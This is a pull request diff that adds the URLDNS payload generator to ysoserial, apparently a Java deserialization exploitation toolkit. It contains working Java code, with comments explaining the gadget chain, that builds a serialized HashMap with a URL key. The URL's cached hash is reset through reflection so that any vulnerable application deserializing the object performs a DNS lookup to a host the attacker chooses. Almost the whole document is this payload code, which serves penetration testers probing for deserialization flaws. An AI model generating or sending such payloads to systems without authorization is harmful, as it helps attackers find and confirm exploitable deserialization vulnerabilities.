Merge pull request #66 from gebl/master

Add URLDNS gadget, that uses the argument as a URL to trigger a DNS l…

src/main/java/ysoserial/payloads/URLDNS.java

@@ -0,0 +1,60 @@
+package ysoserial.payloads;
+
+import java.lang.reflect.InvocationHandler;
+import java.util.HashMap;
+import java.util.LinkedHashSet;
+import java.util.Hashtable;
+import java.net.URL;
+
+import javax.xml.transform.Templates;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * A blog post with more details about this gadget chain is at the url below:
+ *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
+ *
+ *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog 
+ *   posting describing how he modified the Java Commons Collections gadget 
+ *   in ysoserial to open a URL. This takes the same idea, but eliminates 
+ *   the dependency on Commons Collections and does a DNS lookup with just 
+ *   standard JDK classes.
+ *
+ *   The Java URL class has an interesting property on its equals and 
+ *   hashCode methods. The URL class will, as a side effect, do a DNS lookup 
+ *   during a comparison (either equals or hashCode).
+ *   
+ *   As part of deserialization, HashMap calls hashCode on each key that it
+ *   deserializes, so using a Java URL object as a serialized key allows 
+ *   it to trigger a DNS lookup.
+ *
+ *   Gadget Chain:
+ *     HashMap.readObject()
+ *       HashMap.putVal()
+ *         HashMap.hash()
+ *           URL.hashCode()
+ *       
+ *
+ */
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies()
+public class URLDNS implements ObjectPayload<Object> {
+
+        public Object getObject(final String url) throws Exception {
+                HashMap ht = new HashMap(); // HashMap that will contain the URL
+                URL u = new URL(url); // URL to use as the Key
+                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
+
+                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
+
+                return ht;
+        }
+
+        public static void main(final String[] args) throws Exception {
+                PayloadRunner.run(URLDNS.class, args);
+        }
+
+}